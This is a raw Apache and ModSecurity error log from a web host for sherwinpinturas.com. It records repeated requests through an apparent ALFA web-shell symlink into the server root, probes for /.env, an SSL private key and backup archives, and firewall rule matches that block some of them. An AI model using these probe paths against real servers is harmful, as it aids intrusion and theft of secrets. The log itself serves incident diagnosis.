[Sun Oct 25 08:32:47.709400 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.221.156.96:55019] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:32:55.600250 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 35.168.238.50:48971] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:32:59.514946 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.3.155.146:15458] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:33:03.639862 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 85.208.96.201:31736] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/net_namespace/trace
[Sun Oct 25 08:33:07.653013 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 100.24.149.244:25154] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/subsystem/drivers/virtio_blk/unbind
[Sun Oct 25 08:33:11.560426 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 34.225.24.180:25895] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:33:19.604969 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 107.22.208.39:52680] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:33:24.270288 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 185.191.171.3:60310] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/gather_update_logs_setupcrontab
[Sun Oct 25 08:33:27.605801 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 85.208.96.204:63886] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:33:28.360150 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 3.89.176.255:60235] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:33:31.593837 2026] [security2:error] [pid 2821699:tid 2821699] [client 44.196.118.6:23385] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory7/node0/cpu0/cache/index3/"] [unique_id "at33G5BSQk9YSmLuOvuQFQAAAAM"]
[Sun Oct 25 08:33:31.593880 2026] [security2:error] [pid 2821699:tid 2821699] [client 44.196.118.6:23385] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory7/node0/cpu0/cache/index3/"] [unique_id "at33G5BSQk9YSmLuOvuQFQAAAAM"]
[Sun Oct 25 08:33:43.618840 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 52.45.194.165:6126] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:33:45.044904 2026] [security2:error] [pid 2830261:tid 2830261] [client 185.191.171.3:17620] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d056d_271c1_ec10c8b786f7806363ebf7ad6b2b3b12.key"] [unique_id "at33KSlnlNHXxHpyvzeTnwAAAAU"]
[Sun Oct 25 08:33:45.045277 2026] [security2:error] [pid 2830261:tid 2830261] [client 185.191.171.3:17620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d056d_271c1_ec10c8b786f7806363ebf7ad6b2b3b12.key"] [unique_id "at33KSlnlNHXxHpyvzeTnwAAAAU"]
[Sun Oct 25 08:33:45.045624 2026] [security2:error] [pid 2830261:tid 2830261] [client 185.191.171.3:17620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d056d_271c1_ec10c8b786f7806363ebf7ad6b2b3b12.key"] [unique_id "at33KSlnlNHXxHpyvzeTnwAAAAU"]
[Sun Oct 25 08:33:47.651671 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 3.81.253.213:52405] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node1/subsystem/drivers/atkbd/uevent
[Sun Oct 25 08:33:55.682179 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 3.232.39.98:45554] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/drivers/ata_generic/module/sections/__mcount_loc
[Sun Oct 25 08:34:15.627971 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 44.223.232.55:55445] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:34:19.568814 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 100.28.204.82:38091] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/ata_generic/module/uevent
[Sun Oct 25 08:34:23.548410 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.5.242.243:15920] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:34:27.803991 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.208.193.63:25380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:34:30.309720 2026] [core:error] [pid 2823283:tid 2823283] (13)Permission denied: [client 185.191.171.12:16034] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_async_pf/shrink
[Sun Oct 25 08:34:43.808809 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 23.23.180.225:38425] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event1/subsystem/event3/device/device/drvctl
[Sun Oct 25 08:34:51.522791 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.89.176.255:57076] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:35:11.372009 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 3.94.156.104:65361] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:35:11.570379 2026] [core:error] [pid 2830261:tid 2830261] (13)Permission denied: [client 185.191.171.9:29934] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/destroy_by_rcu
[Sun Oct 25 08:35:16.069275 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 23.23.99.55:36111] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/driver/cpu0/node0/compact
[Sun Oct 25 08:35:19.462982 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 54.162.69.192:29571] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:35:23.446760 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 34.206.193.60:32744] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:35:31.538359 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 3.224.215.150:64951] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:35:35.345932 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 54.225.81.20:9554] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:35:39.365659 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.209.35.147:50947] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:35:43.306846 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.221.180.179:42248] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:35:51.727900 2026] [core:error] [pid 2823283:tid 2823283] (13)Permission denied: [client 3.220.148.166:9747] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:04.0/driver/bind
[Sun Oct 25 08:35:55.402590 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.213.106.226:6384] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:35:59.200124 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 54.209.100.30:57815] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:36:03.304042 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 54.197.114.76:43634] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:36:11.131572 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 52.71.216.196:55772] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:36:15.157276 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.45.15.233:7532] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:36:23.127004 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 34.204.150.196:37864] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:36:25.197837 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 185.191.171.5:17480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-16/validate
[Sun Oct 25 08:36:27.152730 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 34.195.248.30:36380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:36:31.170070 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 185.191.171.16:27006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/validate
[Sun Oct 25 08:36:43.381878 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 54.85.126.86:13627] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:36:46.998848 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.83.56.1:5624] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:36:50.971545 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 18.232.36.1:6070] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:36:53.713854 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 185.191.171.16:43200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/partial
[Sun Oct 25 08:36:59.212014 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 23.21.228.180:48096] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:37:02.948556 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.204.71.8:11790] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:37:22.875318 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 54.92.171.106:28833] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:37:30.857774 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 35.172.125.172:30383] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:37:32.354798 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 185.191.171.16:31264] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:37:34.725357 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 3.208.156.9:43169] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:38:06.541368 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.206.65.8:27874] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:38:10.553964 2026] [ssl:error] [pid 2822163:tid 2822163] (5)Input/output error: [client 18.208.11.93:34259] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:38:14.643890 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.225.9.97:13748] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:38:34.445722 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 23.23.104.107:18430] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:38:34.595276 2026] [security2:error] [pid 2815605:tid 2815605] [client 130.12.180.165:56404] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at34SgYPMfHr0EMMDlnmsAAAABM"]
[Sun Oct 25 08:38:34.595607 2026] [security2:error] [pid 2815605:tid 2815605] [client 130.12.180.165:56404] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at34SgYPMfHr0EMMDlnmsAAAABM"]
[Sun Oct 25 08:38:34.595891 2026] [security2:error] [pid 2815605:tid 2815605] [client 130.12.180.165:56404] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at34SgYPMfHr0EMMDlnmsAAAABM"]
[Sun Oct 25 08:38:34.667317 2026] [security2:error] [pid 2820367:tid 2820367] [client 130.12.180.175:20776] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at34Sq6y10zADJ0W8jUh5QAAAAA"]
[Sun Oct 25 08:38:34.667603 2026] [security2:error] [pid 2820367:tid 2820367] [client 130.12.180.175:20776] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at34Sq6y10zADJ0W8jUh5QAAAAA"]
[Sun Oct 25 08:38:34.667864 2026] [security2:error] [pid 2820367:tid 2820367] [client 130.12.180.175:20776] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at34Sq6y10zADJ0W8jUh5QAAAAA"]
[Sun Oct 25 08:38:38.388030 2026] [core:error] [pid 2830261:tid 2830261] (13)Permission denied: [client 18.208.11.93:3516] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/slots/18/module/uevent
[Sun Oct 25 08:38:42.322899 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 98.83.226.125:5044] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:38:46.442669 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 54.86.59.155:24066] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:39:06.190295 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 52.200.93.170:21343] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/driver/new_id
[Sun Oct 25 08:39:18.177997 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.70.209.13:28405] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:39:22.291750 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 54.147.182.90:59002] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:39:26.182330 2026] [ssl:error] [pid 2830261:tid 2830261] (70014)End of file found: [client 107.20.224.184:37178] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:39:46.455076 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 44.214.19.8:2409] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:39:54.357302 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.54.249.218:48818] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:40:02.229207 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.94.156.104:6906] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:40:03.084822 2026] [security2:error] [pid 2830261:tid 2830261] [client 45.138.12.78:38790] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/authorization.zip"] [unique_id "at34oylnlNHXxHpyvzeTsgAAAAU"]
[Sun Oct 25 08:40:03.085340 2026] [security2:error] [pid 2830261:tid 2830261] [client 45.138.12.78:38790] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/authorization.zip"] [unique_id "at34oylnlNHXxHpyvzeTsgAAAAU"]
[Sun Oct 25 08:40:03.181982 2026] [security2:error] [pid 2830261:tid 2830261] [client 45.138.12.78:38722] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/mailer.zip"] [unique_id "at34oylnlNHXxHpyvzeTswAAAAU"]
[Sun Oct 25 08:40:03.182328 2026] [security2:error] [pid 2830261:tid 2830261] [client 45.138.12.78:38722] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/mailer.zip"] [unique_id "at34oylnlNHXxHpyvzeTswAAAAU"]
[Sun Oct 25 08:40:04.645875 2026] [security2:error] [pid 2815605:tid 2815605] [client 45.138.12.78:40264] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/email.zip"] [unique_id "at34pAYPMfHr0EMMDlnmxwAAABM"]
[Sun Oct 25 08:40:04.645936 2026] [security2:error] [pid 2815605:tid 2815605] [client 45.138.12.78:40264] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/email.zip"] [unique_id "at34pAYPMfHr0EMMDlnmxwAAABM"]
[Sun Oct 25 08:40:05.449968 2026] [security2:error] [pid 2815602:tid 2815602] [client 45.138.12.78:41248] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/.gitlab.zip"] [unique_id "at34pdy-_GHm1dX7tKN4zAAAABA"]
[Sun Oct 25 08:40:05.450020 2026] [security2:error] [pid 2815602:tid 2815602] [client 45.138.12.78:41248] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/.gitlab.zip"] [unique_id "at34pdy-_GHm1dX7tKN4zAAAABA"]
[Sun Oct 25 08:40:05.808335 2026] [security2:error] [pid 2834009:tid 2834009] [client 45.138.12.78:41822] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/deprecated.zip"] [unique_id "at34pdQWqyw_5ElmJR5tJQAAAA4"]
[Sun Oct 25 08:40:05.808406 2026] [security2:error] [pid 2834009:tid 2834009] [client 45.138.12.78:41822] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/deprecated.zip"] [unique_id "at34pdQWqyw_5ElmJR5tJQAAAA4"]
[Sun Oct 25 08:40:06.739150 2026] [security2:error] [pid 2834019:tid 2834019] [client 45.138.12.78:45588] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/mar.zip"] [unique_id "at34pksgp-xlBP1GcWOQewAAABE"]
[Sun Oct 25 08:40:06.739222 2026] [security2:error] [pid 2834019:tid 2834019] [client 45.138.12.78:45588] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/mar.zip"] [unique_id "at34pksgp-xlBP1GcWOQewAAABE"]
[Sun Oct 25 08:40:06.745851 2026] [security2:error] [pid 2834020:tid 2834020] [client 45.138.12.78:46072] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/web-backup.zip"] [unique_id "at34phus_mjnPB8X3pG80wAAABI"]
[Sun Oct 25 08:40:06.745890 2026] [security2:error] [pid 2834020:tid 2834020] [client 45.138.12.78:46072] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/web-backup.zip"] [unique_id "at34phus_mjnPB8X3pG80wAAABI"]
[Sun Oct 25 08:40:06.759768 2026] [security2:error] [pid 2834023:tid 2834023] [client 45.138.12.78:45854] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/lib.zip"] [unique_id "at34piXh1dugWqgkF31eqwAAABY"]
[Sun Oct 25 08:40:06.759802 2026] [security2:error] [pid 2834023:tid 2834023] [client 45.138.12.78:45854] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/lib.zip"] [unique_id "at34piXh1dugWqgkF31eqwAAABY"]
[Sun Oct 25 08:40:14.160781 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 44.221.37.41:3628] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:40:18.166328 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.205.141.124:50014] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:40:30.203235 2026] [core:error] [pid 2834020:tid 2834020] (13)Permission denied: [client 107.22.208.39:26571] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:03/physical_node/driver/bind
[Sun Oct 25 08:40:35.728828 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 185.191.171.4:34394] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:40:38.173295 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 44.208.223.68:60054] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:40:42.173387 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 34.231.118.144:42121] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:40:46.163257 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 50.16.216.166:58155] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/exar_serial/uevent
[Sun Oct 25 08:40:49.767984 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 85.208.96.204:45322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fasync_cache/object_size
[Sun Oct 25 08:40:54.285776 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.225.181.161:16480] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:41:02.298194 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 34.203.111.15:28147] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:41:10.210973 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.156.124.2:10953] AH02013: coalesce failed to read from data bucket
